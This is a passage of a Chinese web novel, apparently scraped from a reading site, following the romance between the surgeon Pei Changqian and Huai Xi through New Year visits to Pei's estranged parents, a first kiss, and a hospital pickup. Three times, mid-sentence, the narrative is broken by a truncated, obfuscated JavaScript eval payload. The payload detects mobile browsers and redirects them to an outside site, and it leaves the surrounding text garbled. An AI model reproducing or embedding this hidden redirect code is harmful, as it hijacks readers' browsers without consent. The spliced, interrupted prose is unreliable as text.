男人过来喊他起床吃饭时,精神气色恢复如初,淮希惊讶地发现裴长谦沙哑的嗓音也完全消失了。 距离发烧只过去一天一夜,裴长谦的样子却好像根本没生病过一样。 淮希第一次见识到这么强大的身体素质和恢复能力,由衷感到佩服和羡慕。 距离过年还剩一周的时候,裴长谦得到一次很珍贵的不用加班的机会。 天刚擦黑他就下了班,吃过晚饭后,他们两人一起去逛商场。 淮希发了工资,他要用这笔钱给裴长谦买一身衣服,当作过年礼物。 裴长谦没有推辞就接受了。 淮希的审美比裴长谦精致许多,他早就看够了裴长谦衣柜里千篇一律的基础款大衣和羽绒服。 两人在商场里悠闲地逛着,淮希选中的衣服,裴长谦都会毫无意见地试穿。 最终令淮希满意的是一件衣领很有设计感的过膝羊毛大衣,搭配高领针织衫。 风格不是一味的沉稳死板,更加突显裴长谦身上的成熟魅力。 如果过年拜访亲朋好友,需要正式一点,里面可以搭一件同色马甲;想要显得日常,就把马甲换成宽松衬衫。 裴长谦不缺皮鞋和裤子,淮希就给他选了一条浅灰色系围巾,亮眼百搭。 买完衣服,两人回到餐饮区慢慢闲逛,碰巧遇到了裴长谦认识的人。 对方看起来三十来岁,面相斯文,戴着一架无框眼镜。 一开始,裴长谦并没有认出对方来。 男人见到他却很惊喜:“裴医生,是我啊,三月份的时候您给我爸做的腰椎手术。 “梁国杰,我父亲的名字,每次您给我父亲查房,我都在旁边。” 裴长谦逐渐有了印象。 他两手都提着衣服袋子,腾出右手跟对方握了一下。 “这位是?”男人也跟淮希点头示意。 裴长谦赶在对方问出他不想听的问题之前,及时介绍:“淮希,我很好的朋友。” “您好,”男人注意到裴长谦手里的好几个手提袋,就借着展开聊天的话题,“二位这是来买衣服?” “嗯,”裴长谦看一眼淮希,“他给我买的,过年穿。” 男人笑起来,又问:“不知道两位吃饭了没有?当初我爸出院的时候,就想请裴医生吃个便饭,您却一直不松口。” 裴长谦说已经吃过了。 “现在想想,真的很感激裴医生,”男人神情遗憾地感慨道,“当初要不是您医术好,我爸现在估计都下不了地。裴医生帮助了我们全家,却连个感谢的机会都不给。” “是我的工作而已。”裴长谦神情不变地说。 他表现得很有距离,但男人似乎过于热情:“我还想向您咨询一下我父亲的一些后 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重要的和最不常用的全混在一起;甚至最下面一列放信息、联系人等必需软件的地方,都被换成了奇形怪状的小程序游戏。 裴长谦立在原地,看了片刻手机,又抬眼去看背对着他坐在那里认真吃巧克力的淮希。 几秒钟后,他关掉手机放进口袋,径直过去坐在淮希对面,将手里的袋子放在腿边。 视线先是落在盒子里的巧克力上,淮希买的是抹茶口味。 “好吃吗?”裴长谦抬一下眼,去看淮希没什么神情的脸庞,“我尝一口。” 淮希把盒子往自己这边护了一下,垂着眼皮不看他:“我只买了这一点,你想吃自己去买。” “我有错。” 裴长谦很快说。 淮希咬一口巧克力,发出细微的咯嘣声,抬眼看向他。 “我忙了这么多天,今天好不容易可以休息,我们一起出来放松,我刚才却耽误了宝贵的时间。” 裴长谦与淮希对视,正色道:“我今后会注意。” 两人之间安静片刻。 淮希用一根手指把装巧克力的小盒子推给裴长谦:“挺好吃的,你尝尝吧。” 裴长谦眉头舒展,“嗯”一声,很快拿一块放进嘴里。 他不喜欢甜食,这时吃到巧克力却觉得很开心。 21. 二十一 裴长谦的春节假期满打满算也只有四天,从腊月二十九放到正月初二。 中间如果有意外情况的话,随时可能会被叫回去做手术。 他们两个已经提前商量过这个春节怎么过。 淮希从没听裴长谦提起过他的父母,但这毕竟是春节,所以淮希一直以为,裴长谦应该会去陪父母亲人过年。 但裴长谦说不用去。 他的父母在他小学时离婚,之后又很快各自组建新的家庭。 从他们离婚的那一年开始,裴长谦就是在爷爷奶奶或外公外婆家轮流过年。老人们陆续离世后,裴长谦一直独自过年。 虽然自从他们离婚后,裴长谦很少再见到自己的父母,但他们也不是完全不管裴长谦。 两人离婚时,已经互相厌恶到看见对方就嫌恶心的地步,几乎是争先恐后搬出了他们的家。 他们谁也不愿意回到那个房子,默契地将房子留给了裴长谦。 他们的经济能力不差,裴长谦成年之前,两人每年都会给裴长谦的卡里打一笔钱。 爷爷奶奶外公外婆离世时,也给裴长谦留了一部分财产。 所以裴长谦虽然缺乏父母陪伴,但至少从没有因为钱捉襟见肘,可以心无旁骛地钻研自己选择的专业。 现在,裴长谦与父母的联系,就是每年过年去看望他们一次。 淮希过年需要回松月市祭奠父母,裴长谦的母亲也是在松月市定居。 所以等裴长谦放年假后,他们会先去松月市一趟,在腊月二十九当天回来。 大年三十那天,裴长谦抽出两三个小时的时间去看望住在临阳市的父亲,不影响晚上与淮希一起过除夕。 距离放假越来越近,裴长谦每天都忙得脚不沾地,几乎住在医院。 这天阳光很好,淮希坐在客厅的沙发上看书,收到很久没联系的范文皓的消息。 范文皓邀请淮希去他家里过年。 淮希回复不用,范文皓就劝道: [那你去哪里过年呢?一个人回松月市吗?总不能过年还住在那个学长家吧?] [他也是要去和家人过年的吧?] 淮希盘腿坐着,一只手按住放在腿间的翻开的书,一只手打字:[就是在裴长谦家] 范文皓问:[你们两个一起过年?还是你和他家人一起?] 淮希:[我不用回答你的每一个问题] 那边停顿了好几分钟。 淮希已经放下手机,靠在沙发上继续看手里的书,范文皓的消息再次发来: [淮希,你们两个是不是在一起了?] [这也是我的个人隐私,与你无关] 淮希回完消息后,因为范文皓一直在提裴长谦,提醒了他,于是又点进裴长谦的聊天框。 前几天给裴长谦买过新衣服后,他的余额还剩下一些。 淮希和上次一样,给自己留了一点零花钱,其他的全转给了裴长谦。 裴长谦在手术间隙才能有看手机的机会,他点了接收,说:[我给你存着。] [随你] 淮希随手回复道。 …… 腊月二十八,裴长谦下午刚放假,两人就简单收拾赶往机场,当天晚上就到达了松月市。 他们还是在淮希的那间出租屋休息一晚。 裴长谦虽然在松月市有父母留下的那套房子,但自从他在临阳市定居后,就再也没回去过。 那所房子常年没人维护,环境还不如出租屋,更没有去打扫收拾的必要。 第二天清早,两人乘坐裴长谦提前租好的车,前往墓园。 他们也考虑过开车回来,这样出行方便一些,但在临阳市和松月市之间自驾来往,会耽误很多时间。 考虑到裴长谦的假期很珍贵,他们很快就放弃了这个想法。 到达墓园后,裴长谦陪淮希走了一段路。 快到淮父淮母墓前时,他把水果点心,还有花束递给淮希,停在不远处等候。 虽然去年已经祭奠过父亲,但淮希的动作还是显得生疏。 他慢吞吞把带来的东西一一摆好,嘴上轻声说着祭奠父母时应该说的话。 一开始磕磕绊绊,之后蹲下来,细细向父母讲述自己的近况时,逐渐恢复了往日平淡闲聊的模样。 淮希向妈妈讲她去世后,自己经历了什么,发现几乎每一句里都有裴长谦的身影。 他絮絮叨叨,没有逻辑,想到哪里就讲到哪里,最后忍不住回头往身后张望。 墓园里零零散散,一直有来往的人。 裴长谦立的位置,淮希一眼就看到了。 男人穿着他买的那套衣服,身形修长英挺。 淮希收回目光,站起身捶捶发麻的腿,看向妈妈的照片,低笑着问:“很帅吧?” “那身衣服是我给他挑的,”淮希低声对妈妈说,“这束花是他为你挑的。” …… 离开墓园后,他们找地方吃了点东西,然后去往裴长谦母亲所居住的小区。 在小区里停好车后,裴长谦说不会多久,让淮希在车里等他,然后带着礼品上了楼。 开车的司机是一位五十多岁的大叔,裴长谦上楼没几分钟,大叔解开安全带,扭身对坐在后面的淮希说:“小伙子,车上太闷,我下去抽根烟。” 淮希点点头,大叔就下了车,没关暖气。 淮希其实也感觉车里有点闷,自己坐了片刻后,他伸手关掉车上的暖气,也开门下车。 外面冷飕飕的,淮希刚才看到裴长谦走进了哪一栋楼,他循着那条路慢慢地散步。 约莫只走了十几分钟,淮希脚步有些快地回来。 司机大叔还蹲在垃圾桶旁抽烟,弹一弹烟灰,站起来问他:“怎么了?” 淮希说他想去找点能喂猫的东西,他指了指单元楼门口的地方:“那里有只流浪猫。” 记忆里,小区外面好像有一家早餐店还没关门,淮希心想可以去那里买一颗水煮蛋,喂猫吃蛋黄。 “我这有。”司机按灭了烟头,打开驾驶座的车门,探身子进去翻找了两下。 他拿出来一包便携猫粮,很小一袋,只有五十克,问淮希:“一包够不够?” 淮希说够了。 他接过猫粮,要给司机扫钱,大叔嘿嘿一笑:“我平时经常喂流浪猫,所以车上才常备这个,这粮是猫吃又不是你吃,你快去吧。” 淮希点点头,喂猫去了。 裴长谦的母亲名叫关霜红,和第二任丈夫结婚后,两人生育有一个儿子,今年已经二十多岁。 裴长谦敲门时,他们一家三口正在准备吃午饭。 关霜红来开的门,看到裴长谦,笑着弯腰接过他手里的礼品。 “长谦来了,正好,就等你呢,快坐下一起吃点。” 裴长谦走进去,踏入客厅,餐桌上摆满一桌子菜,桌上放了三副碗筷,桌旁也是三把椅子。 关霜红的丈夫坐在其中一把椅子上,抬眼看见裴长谦,点头说了句:“来了。” 裴长谦略一颔首。 他们的儿子就坐在旁边打游戏,似乎很专注,全程没有抬头。 “小涛!”关霜红站在裴长谦身边,严厉地喊道,“快去给你哥哥拿双筷子,再搬个椅子过来!” 男生不情不愿地扔下手机,砸在餐桌上发出声响。 他站起来往厨房走。 “不用了,”裴长谦的神情始终没有变化,他道,“楼下还有人等我。” 关霜红把裴长谦送到电梯口。 母子两人立在那里,关霜红稍错半步,站在裴长谦侧后方。 她忍不住暗自打量站在自己旁边的儿子。 他们一家并不欢迎裴长谦,但裴长谦很敷衍地刚来就走,关霜红又觉得心中不是滋味。 她年轻时性格潇洒好强,那段失败的婚姻在她看来是人生的耻辱。 离婚后,她急于寻找新的生活,裴长谦作为她失败婚姻的遗留物,错误选择的标志,被她果断地抛弃。 这么多年,她从不主动去看裴长谦。 裴长谦工作后,每年过年来看望她一次,都是像今天这样。 虽然每次只有几分钟,但关霜红还是无法忽略裴长谦一年又一年的变化。 没有她这个母亲的照顾和陪伴,裴长谦还是变得越来越优秀,越来越争气,关霜红对这个儿子的感情也变得越来越复杂。 她偶尔会感到后悔,想挽回一些什么。比如现在,看到裴长谦对她像对待一个陌生人的时候。 但很快又会转为嫉妒、不满。 为什么同样是她的儿子,她日日夜夜费尽心思培育长大的孩子却不如裴长谦? 这是不是证明,她当年选择抛弃裴长谦,又是一个错误的选择? 裴长谦独自成长得这么优秀就是在打她的脸。 关霜红是一个很要强的人,决不允许自己做错。 她曾因为不想面对第一段婚姻的失败,选择抛弃裴长谦;现在也会因为不想承认抛弃裴长谦是错的,而厌恶见到事业成功、从容成熟的裴长谦。 裴长谦下楼,从单元楼里出来,一眼就看到了淮希蹲在地上的身影。 淮希背对着他,正在吃饭的流浪小猫被淮希的身形挡住,裴长谦只能看到一条竖起来的猫尾巴。 “在喂猫?”裴长谦走过去,看到是一只三花猫。 淮希找了一只一次性纸杯,撕掉一半做成一个小碗盛猫粮,现在里面的猫粮被吃得只剩下几颗。 “嗯。”淮希趁机揉了揉猫脑袋,小猫忙用头顶蹭他。 淮希站起来,看向裴长谦:“结束了?” “嗯。” 裴长谦摸了摸口袋,拿出来一张独立包装的酒精湿巾,他拆开给淮希擦手。 淮希把手指张开,方便裴长谦擦,视线追随着钻入绿化玩耍的毛乎乎小猫。 看不见小猫的身影了,淮希神情微变,眉头稍皱抬起头。 较高楼层有一家窗户,一半拉着窗帘,另一半窗扇大开着。 一位约莫五十多岁的女人抱臂站在那里,面无表情,视线直直望着这边。 那目光看得淮希不舒服。 他隐约猜到对方的身份,问裴长谦:“那是伯母吗?” 裴长谦闻言抬头看了一眼:“嗯,是她。” 他松开淮希的手,侧身去扔垃圾,这个动作使他将淮希挡在了怀里。 淮希犹豫自己是否应该跟裴长谦的母亲打声招呼,裴长谦在他肩膀上揽了一下,带着他往前走。 “走吧,”男人的气息靠得很近,“我们回车上,外面太冷了。” 从小区出来,他们径直去往机场。 在车上,裴长谦收到关霜红发来的消息: [长谦,你找了个男对象?] [你是同性恋是吗?] 裴长谦低眼看到了,把手机扣在腿上。 又过去片刻,消息提示音再次响起,还是关霜红: [没关系儿子,同性恋不是病,也不是什么见不得人的事,我作为母亲支持你寻找自己的幸福。] 裴长谦没有回复,他把手机放到一边,去看淮希。 淮希体力弱,早上又起得早,这时已经困了。 他眼睛眯着,脑袋软软靠在椅背上,车辆行驶不稳时很容易碰上窗户。 裴长谦脱掉布料稍硬,坠有纽扣的大衣,里面是软和的羊绒衫。 他碰了碰淮希的肩膀,然后把淮希的脑袋轻轻揽过去,让对方靠在他肩上睡。 淮希脸埋在他肩膀,找了个舒适的地方,很快踏实闭上眼。 前面的司机大叔听到动静抬眼,通过后视镜看到了后座的画面,笑道:“小伙子这是困了吧?” 他说着,顺手从副驾驶拿出一条毛毯向后递给裴长谦。 “盖盖腿,”大叔说,“你们俩都睡吧,到了我再叫你们。” 裴长谦眸色动了动,一只手臂接过毯子抖开,隐隐嗅到洗衣液的清香和晒过太阳的气息。 毛毯很长,盖住两个人的腿绰绰有余,裴长谦盖好后,低声说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310233|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了句:“谢谢您。” 司机大叔笑他太客气。 车停到机场后,淮希和裴长谦把毯子叠放整齐放在一边,下了车。 司机大叔正在车后面动作麻利地往外拿行李,他把包递给他们两个,道:“行,你们路上顺利,新年快乐。” “也祝您新年快乐。” …… 淮希和裴长谦回到临阳市时还有些早,又顺路去商场买了一些年货。 第二天吃过午饭,裴长谦开车去看望父亲,淮希在家里睡午觉。 虽然父子俩住在同一座城市,但临阳市太大,住的又是完全相反的位置,所以不刻意见面的话,平时很少能碰到。 即使碰到,也只是站着寒暄几句,就匆匆分开。 裴长谦来到裴父家门外时,里面十分嘈杂,他的敲门声几乎听不见。 裴长谦静静等了一会儿,听到有人用脚踢开杂物的声响,接着是很重的脚步声。 房门打开,裴父神情烦躁,屋里一片狼藉。 裴长谦踩着陶瓷碎片进了屋。 家里的女主人站在电视柜旁边,她刚摔了两盆很大的绿植,几乎没看裴长谦,只是冷冷地瞪着裴父。 裴父身上具备一切大男子主义的特征,但又喜欢性格刚强,能力厉害的女性。 他处处想压妻子一头,而对方也绝非等闲之辈,这就导致他的每一段婚姻都十分难以维系。 这已经是他第三次结婚,夫妻两人正在因为离婚后财产如何分割吵架。 裴长谦每年只看望裴父一次,却已经撞上类似这样的场景不止一次两次。 他找了块干净的地方,把带来的礼品放下,裴父站在餐桌旁喊他:“儿子,来,尝尝你爸亲手做的菜。” 餐桌上也是乱糟糟,摆着几道看似完好的菜。 裴长谦瞥一眼:“看着没什么卖相。” “新年好,”他站在那里,跟父亲和继母说,“您二位注意安全,有什么事就及时报警。” 裴长谦说完,就转身出去了。 没人来送他,他关上房门去等电梯时,里面很快继续争吵起来。 裴长谦下楼坐进车里,手扶在方向盘上,一直没有发动车。 虽然很多年过去,他对父母早就没什么感情,也不存什么希望,但每次见过他们都会被影响心情这个现象,好像很难避免。 职业是医生的原因,裴长谦很少抽烟,但他车里备有一盒。 裴长谦找出了烟,却没找到打火机。 他脸上没什么神情,俯身挨个去翻车里的每一个角落,始终没有。 手机的来电铃声打断了他的动作。 看到是淮希时,裴长谦神情怔愣了一瞬,点开接通。 “回来了吗?”淮希已经午睡醒来,在家里转悠了好久,“还要多久回来?” “这就回去,一个小时。” 裴长谦家和裴父家住的比较远,最快的情况也要一个小时。 “你的呼吸声有点重,”淮希轻声问,“出什么事了吗?” “没有。”裴长谦自己没有注意到。 他把手机拿远一点,迅速调整了呼吸,顺带将刚才那盒烟放回原来的位置。 “我们晚上吃火锅吧,我回去顺路买好食材。”他靠在座椅上说。 “好啊。”淮希说,“那你路上小心。” …… 晚上的火锅淮希吃得很满意。 裴长谦选了两种口味的底料,微辣和番茄。 淮希不太能吃辣,一直吃番茄比较多,但偶尔尝一口辣的,更能刺激食欲。 他们这顿饭吃了很久,电视机播放着春晚当背景音。 结束时已经是九点半,两人一起把碗筷收拾进厨房。 今天的厨房被折腾的有点乱,裴长谦需要细细收拾,淮希嫌身上的火锅味很重,先去洗澡了。 他洗完吹干头发,换了身睡衣出来,裴长谦还在厨房擦拭边边角角。 “茶几上有点心和水果,可以少吃点。” 听到淮希的脚步声,裴长谦从厨房走出两步说。 淮希坐在沙发上,看到面前的水果被切成小块,圆圆的那种小点心也被切成四小份。 裴长谦怕他吃撑了。 淮希吃了四小块点心中的一块,倒一杯花茶慢慢地喝。 裴长谦终于整理完厨房,他解掉围裙去房间洗澡。 淮希打了个哈欠,不知不觉蜷躺在沙发上。 眼前是很热闹的春晚画面,窗外遥远的夜空里,时不时有绚丽的烟花闪烁。 他身上盖着裴长谦今天刚洗过的绒毯,挨在脸颊上很柔软。 其实在裴长谦说要追求他之后不久,淮希就意识到他喜欢上裴长谦只是早晚的事。 但他一直觉得自己还没有准备好。 他刚刚失去了庇护他二十多年的家,过程非常痛苦。 淮希不知道他和裴长谦建立的新家是否永远不会倒塌,裴长谦是不是有一天也会离开他。 裴长谦洗完澡出来,看到淮希已经躺在沙发上闭上了眼,像是睡着了。 电视机上的画面照映在他脸上,将他总是苍白的肤色衬得温暖。 裴长谦关掉了电视机,俯身去抱淮希,打算送他回卧室睡。 但他刚把人抱在怀里,淮希就睁开了眼,并慢腾腾抬起手臂环上他的脖颈。 “要去睡觉吗?”裴长谦抱起他站稳,低声问。 淮希没回答,垂下眼,往他怀里缩了缩。 耳侧传来温软的触感时,裴长谦的脚步忽然停住。 揽在淮希背部和膝弯的手掌紧了紧力道,裴长谦去看淮希的脸。 两人对视时,淮希的手指穿入裴长谦半湿的发间。 他微微直腰,吻了一下裴长谦的额头。 裴长谦呼吸变重,用力把淮希往自己怀中按去。 他跟着低头,漆黑眼眸紧紧盯在淮希唇上,喉结很明显地上下滚动。 淮希很轻的笑了一下,手指贴在他颈后轻声说:“可以亲。” 22. 二十二 裴长谦让淮希的两只手臂环紧他的脖颈,他用手臂托住淮希的脊背,手掌握住后颈,偏头吻上淮希的唇。 和想象中的一样柔软。 反复按压,贴蹭几下后,裴长谦很快伸了舌头进去,淮希毫无防备,被他搅动舌尖。 没有电视节目作为背景音,水声和气息声变得很明显。 淮希从感受到裴长谦滚烫的舌尖开始,就慌张闭上了眼睛。 他眉头轻轻拧着,身形微微后仰,很快裴长谦结实的小臂抵挡,没有躲避的余地。 慢慢,淮希变得能跟上裴长谦的节奏,可以不时张嘴或合拢嘴唇,来配合对方。 亲吻结束时,淮希的手还紧紧攥住裴长谦后颈处的衣领,将布料折磨得很皱。 这样的接吻姿势有些危险,他害怕自己没抱稳裴长谦,不小心摔下去。 但其实裴长谦的臂力比他猜想的强悍许多,他始终被抱得很稳。 裴长谦将他往上托了一下。 淮希的唇变得很红,湿湿的,正微张着喘气。 裴长谦垂下眼,将水渍舔走,又忍不住轻轻咬透红的果实。 淮希被放到主卧的床上,他刚才在沙发上养出的困意已经全部消失,眼睛变得水亮。 他很害羞,脖颈现在还是红的,自己掀开被子躺进去。 躺好后看到裴长谦转身往房间外走,不禁出声:“你还要去做什么吗?” 淮希的嗓音有点哑了,带上问句会让尾音往上,听着像在委屈。 但这只是裴长谦个人臆想,淮希只是在正常地问他而已。 “不做什么,把外面的灯关掉,”裴长谦握着门扶手说,“你要喝点温水吗?” “不用。” 淮希差点忘了件事,他要从床上下来,小腿垂在床沿,才发现床边空荡荡的。 他有些尴尬地抬起头:“我的鞋还在客厅,刚才吃了点心,还喝过茶,现在需要重新刷个牙。” “我去拿来。” 裴长谦出去后很快回来,不仅拿了拖鞋,还带回了淮希落在沙发上的手机。 淮希刷完牙出来时,裴长谦已经躺在床上,卧室的灯光被调成偏暗的暖黄色。 淮希绕过去,从自己的那一边上了床,习惯地背对着裴长谦侧躺。 两人之间和往常一样隔着两只手掌的距离。 一会儿,淮希意识到不对劲,被子下的身体动了动,转过去面对裴长谦。 “我……” “我们抱着睡?”裴长谦一直面朝他这边,这时朝他展开手臂。 淮希点点头,慢慢蹭过去,脖颈枕在裴长谦的上臂处。 他觉得承托性很好,比裴长谦给他定制的枕头更舒服。 心中隐隐感到新奇,淮希动作很小地挪动脑袋,寻找最舒服的姿势时,发顶的几缕发丝扫在裴长谦的下颌。 裴长谦略一低头,鼻梁埋入淮希发间,深深嗅了一下。 淮希顿时就不乱动了。 “头发很香。”裴长谦说。 “我们用的是一样的洗发水。”淮希仰起脸看他。 而且还都是裴长谦买的。 “你的比较香。”裴长谦坚持道。 “好吧,”淮希抬手在头发上抓了抓,“谢谢。” 和另一个人以这样亲密的姿势靠得这么近,对淮希来说到处都很生疏。 他把胳膊收在自己身前,苦恼了很久该把手放在哪里。 找来找去,最后搭在了裴长谦腰上。 他搭的位置恰好在裴长谦睡衣衣摆处,一半手心隔着衣料,另一半是温热皮肤的触感。 “你的肌肉很结实。”淮希也夸道。 “……” “谢谢。”裴长谦只好说。 淮希的手贴在那里,就没有再乱动。 但两个人的温度互相交融,还是令那片肌肤变得越来越热。 裴长谦被那份热度弄得有些分心,他定了定,拨开淮希额间的发丝,在微凉的额头上吻了一下。 “我这算是追到了,对吧?” 淮希用嘴唇蹭蹭他的下巴,很快说:“对的。” …… 换了一个新的睡觉姿势,但却没有影响到淮希的睡眠。 他忘记自己是什么时候睡着的,醒来时人还在裴长谦怀里。 淮希睡觉时习惯用手攥着被角,今早睁开眼睛,却看到自己手中攥的是一片衣领。 他有些怔愣。 眼前的胸膛在缓慢起伏,淮希意识逐渐清醒,抬起脸,看到裴长谦很立体的面庞。 男人感受到他的动静后睁开眼,眼眸漆黑,好像已经醒了很久。 “你没早起?”淮希松开裴长谦皱巴巴的衣领,发现扣子还被他揪开了两颗。 他埋着脸,慢吞吞给裴长谦整理回原样。 裴长谦以前都是提前起床,睡醒就起,从不赖床。 印象中,他们很少一起起床。 “嗯,”裴长谦应了一声,“好不容易放假。” 他把淮希往怀里搂了一下,使两人的胸膛贴在一起,很放松地舒出一口气。 “早上喝粥怎么样?还可以煮几个汤圆。” 按照这边的习俗,初一早上应该煮水饺吃。 但淮希不喜欢吃水饺,所以替换成汤圆也可以。 淮希点了点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310234|182887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴长谦就松开他起床了。 他要换的家居服就搭在离床不远的简易衣架上。 裴长谦背对床站在衣架旁将睡衣睡裤都脱掉时,淮希还没反应过来。 他从裴长谦下床开始,视线就自然地追随着对方。 等裴长谦弯腰穿上了黑色的宽松长裤,淮希才意识到自己将裴长谦给看光了。 接着,紧实的背肌沟壑起伏,裴长谦套上衣领,简单整理好上衣。 虽然只是很短暂的几眼,但淮希还是判断出裴长谦不仅体型好看,身材比例也很完美。 他犹豫了一下,为了避免裴长谦跟他说谢谢,决定只在心里夸一夸。 裴长谦问淮希要不要起床时,淮希正在偷偷摸自己的耳垂。 原来感到发烫不是错觉,摸起来也很热。 淮希默默收回手指,不看裴长谦,回答说:“要起。” 裴长谦就去给他选了一套衣服放在床边,之后才离开主卧。 …… 中午吃过饭,难得什么工作都不用想,他们待在沙发上休息。 裴长谦在看电视。 淮希对电视节目不太感兴趣,脑袋靠在他肩膀上,用手机玩小游戏。 裴长谦一直能嗅到淮希身上独特的气息,很淡的甜香。 他垂下眼,能看到淮希翘起的鼻尖,还有宽松衣领里透白泛粉的锁骨。 这样近的视野,比他初次见到十几岁的淮希时还要近。 裴长谦现在很想和淮希接吻。 这个念头冒出来,他下意识地克制回去。 强行把视线移到电视屏幕上,过去几秒,他才又反应过来,自己已经不用再忍耐了。 腰侧被一只发烫的手掌握住时,淮希从小游戏里抽回神。 他抬头去看裴长谦,神情带着询问。 但很快唇被吻住,裴长谦按住他的腰,撬开他的唇缝。 淮希只愣了片刻,然后就放下手机,跪坐在沙发上抱住裴长谦的肩膀,认真和他接吻。 裴长谦昨晚给他的体验很好,淮希现在已经知道接吻是件很舒服的事。 亲完时,淮希的脸颊变得红了些,摸起来热热的。 他轻喘着气,把很湿的嘴唇蹭在裴长谦胸前的衣服上,擦干。 抬头,裴长谦在微微拧眉看他。 淮希眯眼:“怎么,你嫌弃我吗?” “不是,想哪去了,”裴长谦一只手就能捧住他的脸,他低头很认真地检查淮希的唇,“你的……皮肤很脆弱,要轻点擦。” 淮希抿了一下嘴:“哦。” 怪不得裴长谦亲他的时候,一开始很温柔,一伸舌头就很厉害。 23. 二十三 淮希想要继续玩小游戏,但裴长谦的手按在他腰上没有移开。 他只好把脑袋放在裴长谦肩膀上,两人安静地抱了几分钟。 裴长谦的手机铃声响得很突兀。 是医院打来的电话,科室的人说从急诊转来了两个很紧急的手术,值班医生忙不过来,需要裴长谦尽快过去。 “好,我马上到。” 从听到电话的内容时,淮希就不再靠着他,两人都从沙发上起身。 裴长谦挂掉电话后,眉头皱得很深看向淮希:“对不起。” “在说什么,道什么歉,”淮希反应平静,抬手摸了摸他的脸,“快去换衣服。” 他并不是今天才知道裴长谦的工作很忙。 这样的状况显然很常见,不到五分钟,裴长谦就换好了衣服,拿上工作包出门。 淮希裹着毯子把他送到电梯口,裴长谦很快进电梯离开。 回到客厅后,淮希重新趴在沙发上玩小游戏。 他连续输了几局,慢慢觉得游戏没有刚才那样好玩了。 现在也没有弹琴的兴致。 淮希仰躺在沙发上,四处看了看,觉得房子里过于安静。 他干脆用遥控合上窗帘,翻了个身,裹严身上的软毯睡觉。 做了很多奇奇怪怪的梦,醒来时全都不记得了。 淮希以为自己睡了很久,但其实还不到一个小时。 每次午觉醒来脑袋都会隐隐作痛,四肢感到发沉,需要缓上好久才能清醒些。 淮希慢吞吞移到厨房,找了点清爽的水果醒神。 距离裴长谦下班时间还剩一个小时的时候,淮希忽然产生了去接对方下班的念头。 这个念头没由来,淮希不知道是因为自己对接男友下班这件事感到新奇,还是因为想给裴长谦一个惊喜。 他总是心血来潮,没有多犹豫,就去换好衣服,戴上围巾出了门。 春节刚过,天气似乎就没有节前的冬天那么冻人了。 走进裴长谦工作的医院时,淮希才发现自己冲动了,心里隐约感到后悔。 他根本不知道裴长谦什么时候忙完,裴长谦在做手术期间也联系不上。 淮希立在医院的大楼前,本来想直接回家,但犹豫一下,还是决定去裴长谦的科室里问一问。 春节期间,骨科楼里的人也不少。 淮希找到脊柱外科,因为已经到了正常下班时间,医护人员不算太忙。 他去护士站问裴长谦现在在哪,大概什么时候下班。 “裴大夫还在手术,”护士看了看时间说,“这个点了,裴大夫做完手术应该不会再回科室,您可以去手术中心楼下等他。” 护士显然将淮希当成了患者或患者家属:“裴大夫今天在医院是临时加班,不着急的话,您也可以等到裴大夫正式上班的时间,再来挂号找他。” 淮希道了谢,没有再说别的,下楼去找手术中心。 天色还是黑得比较早,淮希走在去手术中心的路上时,天空已经暗得和夜晚没有区别。 和门诊楼以及住院部相比,手术中心就冷清许多。 一片明亮的大厅空荡荡,匆匆经过的大多是穿白大褂的人。 淮希没有打算上楼,就在一楼大厅找到休息区,坐在一个能直接看到电梯口的位置慢慢等。 大厅里也开了暖气,淮希不觉得冷,只是有点担心自己等不到人。 他没看时间,不知道坐了多久。 天越来越黑,大厅里也越来越安静,从电梯那里出来的医护人员一个接着一个。 逐渐的,淮希有一种整个手术中心都走空了的错觉。 他站起身活动身体,原地轻轻地跺脚。 正犹豫要不要离开的时候,总算看到熟悉的身影。 裴长谦做完手术就直接换回了自己的衣服。 男人穿着深灰色长款羽绒服,两只手都揣在口袋里,头微微垂着,脚步很匆忙地从电梯间出来。 淮希上前几步走出休息区,轻声喊他的名字,裴长谦才抬头看见淮希,很快停下脚步。 他原本冷静疏远的神情发生变化,迈大步伐朝淮希过来。 “怎么在这儿?”裴长谦走得很近才停下,轻轻皱眉垂下眼,将淮希的两只手拿到掌心握紧。 还好,不是凉的。 电梯那边还有别的医生走过,淮希轻轻挣动,把自己的手抽出来。 “在你的工作单位,影响不好。”他抬眼看裴长谦说。 尽管现在是下班时间,裴长谦也没有穿白大衣,但淮希还是觉得,如果他们牵手的样子被裴长谦的同事或患者看到,真的不太好。 “我在家无聊,就想来接你下班,”淮希眼里带着关心,观察着裴长谦眼底的疲色,“但是忘记问你什么时候下班了。” 裴长谦从这一句话里分析出来,淮希起码下午六点钟就到了医院,距离现在已经过去将近两个小时。 他又低声问:“怎么来的?” “坐地铁。”淮希说。 裴长谦眸色变得更深。 他一想到淮希要一个人坐地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 